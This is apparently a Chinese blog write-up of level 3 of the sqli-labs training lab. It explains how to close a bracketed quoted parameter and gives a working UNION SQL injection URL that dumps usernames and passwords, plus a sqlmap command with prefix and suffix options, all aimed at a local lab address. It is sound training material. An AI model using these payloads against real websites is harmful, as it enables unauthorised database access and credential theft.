sqli-labs系列——第三關

判斷注入類型

這第三關有點意思,是一個帶括號的數字型注入,這裏需要閉合它的括號,之前遇到過很多這樣的站,它的sql語句一般都是這樣的:

$sql = select * from user where id=('$id');

看一下輸入’後的信息,能夠判斷出這是一個數字型注入:

此時的sql語句應爲:

select * from user where id=('1''); 

在這裏插入圖片描述
後邊在給它註釋一下,還是不行,但是參數已經傳進去了:

sql語句:

select * from user where id=('1'%23'); 

在這裏插入圖片描述
在加一個)來閉合前邊的括號:

http://192.168.1.113:86/Less-3/?id=1')%23

此時的sql語句:

select * from user where id=('1’)%23'); 

在這裏插入圖片描述
那麼接下來的思路就有了:

-id')<payload>%23

開始注入

根據上文的分析,在payload處加上我們的exp,成功爆出後臺賬號密碼:

http://192.168.1.113:86/Less-3/?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23

在這裏插入圖片描述

後記

這裏如果想要用sqlmap跑,需要加 --prefix 和 --suffix這兩個參數,例如:

sqlmap -u "http://192.168.1.113:86/Less-3/?id=1" --prefix "')" --suffix "%23"

當然我們要具體情況具體分析怎樣去閉合還是得看回顯的信息,看一下運行結果:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章